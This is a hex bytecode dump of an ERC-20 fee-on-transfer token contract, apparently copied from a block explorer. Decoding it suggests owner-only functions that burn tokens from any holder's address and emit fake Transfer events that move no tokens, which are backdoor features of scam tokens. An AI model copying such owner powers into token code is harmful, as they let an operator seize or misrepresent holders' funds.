0000000000000000000602082015250565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20312520746f74616c20737570706c792e0000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60008201527f6b656e7320696e204c5000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e697368600082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b7f4d757374206b656570206665657320617420323525206f72206c657373000000600082015250565b7f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060008201527f6c6f776572207468616e20302e31250000000000000000000000000000000000602082015250565b61589181614fdb565b811461589c57600080fd5b50565b6158a881614fed565b81146158b357600080fd5b50565b6158bf81615019565b81146158ca57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122075c6344cf7df6b7111dc5449a5620e818921c4faf9599189ead5b749cf2e18e164736f6c63430008030033

Deployed Bytecode

0x6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639fccce32116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639fccce3214610b90578063a061e0c314610bbb578063a0d82dc514610bf8578063a165506f14610c2357610410565b806395d89b41116101e257806395d89b4114610ae65780639c3b4fdc14610b115780639dc29fac14610b3c5780639ec22c0e14610b6557610410565b80638da5cb5b14610a3c5780638ea5220f14610a675780639213691314610a92578063924de9b714610abd57610410565b80633582ad231161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc5780638a8c523c14610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b80634fbee193116102e85780634fbee193146107dc5780635178624c146108195780636a486a8e146108425780636ddd17131461086d5780636fd7072a1461089857610410565b80633582ad2314610720578063395093511461074b5780633eb2b5ad1461078857806349bd5a5e146107b157610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b6040516104379190614a94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614383565b611119565b6040516104749190614a5e565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061426a565b611137565b6040516104b19190614a5e565b60405180910390f35b3480156104c657600080fd5b506104cf611157565b6040516104dc9190614a79565b60405180910390f35b3480156104f157600080fd5b506104fa61117b565b6040516105079190614dd6565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061426a565b611185565b005b34801561054557600080fd5b5061054e61124d565b60405161055b9190614dd6565b60405180910390f35b34801561057057600080fd5b50610579611253565b6040516105869190614dd6565b60405180910390f35b34801561059b57600080fd5b506105a4611259565b6040516105b19190614dd6565b60405180910390f35b3480156105c657600080fd5b506105cf61125f565b6040516105dc9190614dd6565b60405180910390f35b3480156105f157600080fd5b5061060c60048036038101906106079190614498565b611265565b005b34801561061a57600080fd5b50610635600480360381019061063091906142f8565b6112fc565b6040516106429190614a5e565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614417565b6113d5565b005b34801561068057600080fd5b506106896114d8565b6040516106969190614a43565b60405180910390f35b3480156106ab57600080fd5b506106b46114de565b6040516106c19190614dd6565b60405180910390f35b3480156106d657600080fd5b506106df6114e4565b6040516106ec9190614a5e565b60405180910390f35b34801561070157600080fd5b5061070a6114f7565b6040516107179190614e4b565b60405180910390f35b34801561072c57600080fd5b50610735611500565b6040516107429190614a5e565b60405180910390f35b34801561075757600080fd5b50610772600480360381019061076d9190614383565b611513565b60405161077f9190614a5e565b60405180910390f35b34801561079457600080fd5b506107af60048036038101906107aa919061426a565b6115c6565b005b3480156107bd57600080fd5b506107c6611612565b6040516107d39190614a43565b60405180910390f35b3480156107e857600080fd5b5061080360048036038101906107fe919061426a565b611638565b6040516108109190614a5e565b60405180910390f35b34801561082557600080fd5b50610840600480360381019061083b91906143bf565b61168e565b005b34801561084e57600080fd5b50610857611761565b6040516108649190614dd6565b60405180910390f35b34801561087957600080fd5b50610882611767565b60405161088f9190614a5e565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061426a565b61177a565b6040516108cc9190614a5e565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f7919061426a565b61179a565b6040516109099190614dd6565b60405180910390f35b34801561091e57600080fd5b506109276117e3565b005b34801561093557600080fd5b50610950600480360381019061094b91906144ea565b6118a9565b005b34801561095e57600080fd5b50610967611975565b6040516109749190614a5e565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f9190614347565b6119a1565b005b3480156109b257600080fd5b506109bb611a04565b6040516109c89190614a43565b60405180910390f35b3480156109dd57600080fd5b506109e6611a2a565b6040516109f39190614dd6565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614539565b611a30565b005b348015610a3157600080fd5b50610a3a611abb565b005b348015610a4857600080fd5b50610a51611b02565b604051610a5e9190614a43565b60405180910390f35b348015610a7357600080fd5b50610a7c611b2b565b604051610a899190614a43565b60405180910390f35b348015610a9e57600080fd5b50610aa7611b51565b604051610ab49190614dd6565b60405180910390f35b348015610ac957600080fd5b50610ae46004803603810190610adf919061446f565b611b57565b005b348015610af257600080fd5b50610afb611b7c565b604051610b089190614a94565b60405180910390f35b348015610b1d57600080fd5b50610b26611c0e565b604051610b339190614dd6565b60405180910390f35b348015610b4857600080fd5b50610b636004803603810190610b5e9190614383565b611c14565b005b348015610b7157600080fd5b50610b7a611c2a565b604051610b879190614dd6565b60405180910390f35b348015610b9c57600080fd5b50610ba5611c30565b604051610bb29190614dd6565b60405180910390f35b348015610bc757600080fd5b50610be26004803603810190610bdd919061426a565b611c36565b604051610bef9190614a5e565b60405180910390f35b348015610c0457600080fd5b50610c0d611c8c565b604051610c1a9190614dd6565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906142bc565b611c92565b005b348015610c5857600080fd5b50610c736004803603810190610c6e9190614383565b611ca8565b604051610c809190614a5e565b60405180910390f35b348015610c9557600080fd5b50610c9e611d75565b604051610cab9190614dd6565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd69190614383565b611d7b565b604051610ce89190614a5e565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d13919061426a565b611d99565b005b348015610d2657600080fd5b50610d416004803603810190610d3c919061426a565b611e61565b604051610d4e9190614a43565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906142bc565b611e94565b005b348015610d8c57600080fd5b50610d95611f78565b604051610da29190614a5e565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd9190614347565b611f8b565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614539565b61203c565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614498565b6120c7565b005b348015610e3257600080fd5b50610e4d6004803603810190610e48919061426a565b61215a565b005b348015610e5b57600080fd5b50610e646121d3565b604051610e719190614a5e565b60405180910390f35b348015610e8657600080fd5b50610e8f6121e6565b604051610e9c9190614dd6565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614498565b6121ec565b604051610ed99190614a5e565b60405180910390f35b348015610eee57600080fd5b50610ef76122cd565b604051610f049190614dd6565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906142bc565b6122d3565b604051610f419190614dd6565b60405180910390f35b348015610f5657600080fd5b50610f5f61235a565b604051610f6c9190614dd6565b60405180910390f35b348015610f8157600080fd5b50610f8a612360565b604051610f979190614a5e565b60405180910390f35b348015610fac57600080fd5b50610fb561238c565b604051610fc29190614dd6565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed919061426a565b612392565b005b34801561100057600080fd5b506110096124c7565b6040516110169190614dd6565b60405180910390f35b34801561102b57600080fd5b506110346124cd565b6040516110419190614dd6565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614498565b6124d3565b60405161107e9190614a5e565b60405180910390f35b60606006805461109690615099565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290615099565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b600061112d6111266127dd565b84846127e5565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600854905090565b61118d6129b0565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024c4923d3873ff5b9fcb43d0360d4b9217fa41225d07ba379993552e74360405160405180910390a380600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b60115481565b60205481565b601f5481565b61126d6129b0565b633b9aca006103e8600161127f61117b565b6112899190614f4d565b6112939190614f1c565b61129d9190614f1c565b8110156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d690614db6565b60405180910390fd5b670de0b6b3a7640000816112f39190614f4d565b600b8190555050565b6000611309848484612a2e565b6113ca846113156127dd565b6113c5856040518060600160405280602881526020016158f460289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061137b6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b600190509392505050565b6113dd6129b0565b60005b838390508110156114d257838382818110611424577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190611439919061426a565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114b79190614dd6565b60405180910390a380806114ca906150cb565b9150506113e0565b50505050565b61dead81565b60135481565b601260009054906101000a900460ff1681565b60006009905090565b601560009054906101000a900460ff1681565b60006115bc6115206127dd565b846115b785600360006115316127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b6127e5565b6001905092915050565b6115ce6129b0565b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6116966129b0565b60005b8383905081101561175b5781601660008686858181106116e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906116f7919061426a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611753906150cb565b915050611699565b50505050565b601b5481565b601560029054906101000a900460ff1681565b60166020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117eb6129b0565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6118b16129b0565b6102588310156118f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ed90614b56565b60405180910390fd5b6103e88211158015611909575060008210155b611948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193f90614bf6565b60405180910390fd5b826013819055508160118190555080601260006101000a81548160ff021916908315150217905550505050565b600061197f6129b0565b6000601560006101000a81548160ff0219169083151502179055506001905090565b6119a96129b0565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b611a386129b0565b826018819055508160198190555080601a81905550601a54601954601854611a609190614ec6565b611a6a9190614ec6565b60178190555060196017541115611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90614d96565b60405180910390fd5b505050565b611ac36129b0565b6001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff02191690831515021790555042601481905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601c5481565b611b5f6129b0565b80601560026101000a81548160ff02191690831515021790555050565b606060078054611b8b90615099565b80601f0160208091040260200160405190810160405280929190818152602001828054611bb790615099565b8015611c045780601f10611bd957610100808354040283529160200191611c04565b820191906000526020600020905b815481529060010190602001808311611be757829003601f168201915b5050505050905090565b601a5481565b611c1c6129b0565b611c2682826135b9565b5050565b60105481565b60215481565b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601e5481565b611c9a6129b0565b611ca48282611e94565b5050565b6000611d6b611cb56127dd565b84611d668560405180606001604052806025815260200161591c6025913960036000611cdf6127dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b6127e5565b6001905092915050565b60145481565b6000611d8f611d886127dd565b8484612a2e565b6001905092915050565b611da16129b0565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a380600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60266020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e9c6129b0565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167f1ae86e1795cd1c161e96c6525438e119d8492810817588494e7b4e2c871793d960405160405180910390a35050565b601560019054906101000a900460ff1681565b611f936129b0565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516120309190614a5e565b60405180910390a25050565b6120446129b0565b82601c8190555081601d8190555080601e81905550601e54601d54601c5461206c9190614ec6565b6120769190614ec6565b601b819055506063601b5411156120c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b990614bd6565b60405180910390fd5b505050565b6120cf6129b0565b633b9aca006103e860056120e161117b565b6120eb9190614f4d565b6120f59190614f1c565b6120ff9190614f1c565b811015612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614b96565b60405180910390fd5b633b9aca00816121519190614f4d565b600a8190555050565b6121626129b0565b80600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506121d0600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660016119a1565b50565b602360009054906101000a900460ff1681565b600b5481565b60006121f66129b0565b620186a0600161220461117b565b61220e9190614f4d565b6122189190614f1c565b82101561225a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161225190614c16565b60405180910390fd5b6103e8600a61226761117b565b6122719190614f4d565b61227b9190614f1c565b8211156122bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b490614cb6565b60405180910390fd5b81600c8190555060019050919050565b60175481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c5481565b600061236a6129b0565b6000602360006101000a81548160ff0219169083151502179055506001905090565b60195481565b61239a6129b0565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561240a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240190614b16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601d5481565b600a5481565b60006124dd6129b0565b600f546010546124ed9190614ec6565b421161252e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252590614d36565b60405180910390fd5b6103e8821115612573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256a90614cf6565b60405180910390fd5b4260108190555060003073ffffffffffffffffffffffffffffffffffffffff166370a08231600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016125d79190614a43565b60206040518083038186803b1580156125ef57600080fd5b505afa158015612603573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061262791906144c1565b90506000612652612710612644868561378590919063ffffffff16565b61380090919063ffffffff16565b9050600081111561268d5761268c600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661dead8361384a565b5b600060266000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561275b57600080fd5b505af115801561276f573d6000803e3d6000fd5b5050505060019350505050919050565b600080828461278e9190614ec6565b9050838110156127d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ca90614b76565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612855576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284c90614d56565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128bc90614b36565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516129a39190614dd6565b60405180910390a3505050565b6129b86127dd565b73ffffffffffffffffffffffffffffffffffffffff166129d6613ae3565b73ffffffffffffffffffffffffffffffffffffffff1614612a2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a2390614c96565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a9590614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612b0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0590614ab6565b60405180910390fd5b6000811415612b2857612b238383600061384a565b613550565b601560009054906101000a900460ff161561313f57612b45611b02565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612bb35750612b83611b02565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612bec5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c26575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c3f5750600960149054906101000a900460ff16155b1561313e57601560019054906101000a900460ff16612d3957602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612cf95750602460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f90614af6565b60405180910390fd5b5b602360009054906101000a900460ff1615612f0357612d56611b02565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015612ddd57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612e375750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612f025743602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb490614c56565b60405180910390fd5b43602260003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612ff657600b54811115612f99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9090614c36565b60405180910390fd5b600a54612fa58361179a565b82612fb09190614ec6565b1115612ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fe890614d76565b60405180910390fd5b61313d565b602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661309157600b5481111561308c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161308390614bb6565b60405180910390fd5b61313c565b602560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661313b57600a546130ee8361179a565b826130f99190614ec6565b111561313a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161313190614d76565b60405180910390fd5b5b5b5b5b5b600061314a3061179a565b90506000600c54821015905080801561316f5750601560029054906101000a900460ff165b80156131885750600960149054906101000a900460ff16155b80156131de5750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156132345750602460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15613278576001600960146101000a81548160ff02191690831515021790555061325c613af7565b6000600960146101000a81548160ff0219169083151502179055505b600960149054906101000a900460ff161580156132a15750601260009054906101000a900460ff165b156132b1576132af85613c7f565b505b6000600960149054906101000a900460ff16159050602460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806133675750602460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561337157600090505b60008115613540576000601b54111561344c576133ac606461339e601b548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601b54601d54826133bf9190614f4d565b6133c99190614f1c565b602060008282546133da9190614ec6565b92505081905550601b54601e54826133f29190614f4d565b6133fc9190614f1c565b6021600082825461340d9190614ec6565b92505081905550601b54601c54826134259190614f4d565b61342f9190614f1c565b601f60008282546134409190614ec6565b9250508190555061351c565b6000601754111561351b5761347f60646134716017548861378590919063ffffffff16565b61380090919063ffffffff16565b9050601754601954826134929190614f4d565b61349c9190614f1c565b602060008282546134ad9190614ec6565b92505081905550601754601a54826134c59190614f4d565b6134cf9190614f1c565b602160008282546134e09190614ec6565b92505081905550601754601854826134f89190614f4d565b6135029190614f1c565b601f60008282546135139190614ec6565b925050819055505b5b60008111156135315761353087308361384a565b5b808561353d9190614fa7565b94505b61354b87878761384a565b505050505b505050565b600083831115829061359d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135949190614a94565b60405180910390fd5b50600083856135ac9190614fa7565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613629576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362090614cd6565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156136b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136a790614ad6565b60405180910390fd5b816004546136be9190614fa7565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546137139190614fa7565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516137789190614dd6565b60405180910390a3505050565b60008083141561379857600090506137fa565b600082846137a69190614f4d565b90508284826137b59190614f1c565b146137f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137ec90614c76565b60405180910390fd5b809150505b92915050565b600061384283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613d4c565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156138ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138b190614d16565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561392a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161392190614ab6565b60405180910390fd5b613935838383613daf565b6139a1816040518060600160405280602681526020016158ce60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613a3681600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461277f90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83